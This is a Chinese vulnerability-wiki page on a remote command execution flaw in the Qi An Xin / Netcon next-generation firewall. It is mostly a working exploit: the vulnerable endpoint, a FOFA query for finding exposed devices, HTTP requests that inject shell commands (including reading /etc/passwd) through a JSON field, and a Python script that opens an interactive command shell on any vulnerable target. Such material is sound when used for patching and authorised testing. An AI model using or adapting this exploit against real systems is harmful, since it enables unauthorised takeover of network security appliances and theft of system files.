Loading
0

奇安信NS-NGFW 网康防火墙前台RCE漏洞

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

漏洞利用

漏洞位置:

http://xx.xx.xx.xx/directdata/direct/router

RequestHeader

Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 155
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

RequestBody

{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":{
    	"data":"/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"
    },
    "type": "rpc",
    "tid": 17

}

FOFA

app="网康科技-下一代防火墙"

EXP

发送以下数据包:

POST /directdata/direct/router HTTP/1.1
Host: XXX.XXX.XXX.XXX
Connection: close
Content-Length: 179
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

{"action":"SSLVPN_Resource","method":"deleteImage","data":{"data":"/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"},"type":"rpc","tid":17,"f8839p7rqtj":"="}

再请求获取命令执行结果:

http://xxx.xxx.xxx.xxxx/test_cmd.txt

POC

import requests
import sys
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号 : PeiQi文库                                                     \0330m')
    print('+  \03334mVersion: 奇安信 网康下一代防火墙                                      \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/directdata/direct/router"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
        "Content-Type": "application/json",
    }
    data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":{"data":"/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"},"type":"rpc","tid":17,"f8839p7rqtj":"="}'
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
        if response.status_code == 200 and "success" in response.text:
            print("\03332mo 目标{}可能存在漏洞, 正在执行命令 cat /etc/passwd \0330m".format(target_url))
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)
            if "root" in response.text and response.status_code == 200:
                print("\03332mo 响应为: {} \0330m".format(response.text))
                while True:
                    cmd = input("\03335mCmd >>> \0330m")
                    if cmd == "exit":
                        sys.exit(0)
                    else:
                        POC_2(target_url, cmd)
        else:
            print("\03331mx 目标不存在漏洞 \0330m")
            sys.exit(0)
    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

def POC_2(target_url, cmd):
    vuln_url = target_url + "/directdata/direct/router"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
        "Content-Type": "application/json",
    }
    data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":{"data":"/var/www/html/d.txt;%s >/var/www/html/test_cmd.txt"},"type":"rpc","tid":17,"f8839p7rqtj":"="}' % (cmd)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)
        print("\03332mo 响应为: \n{} \0330m".format(response.text))
    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    POC_1(target_url)

PWNWIK.COM==免费、自由、人人可编辑的漏洞库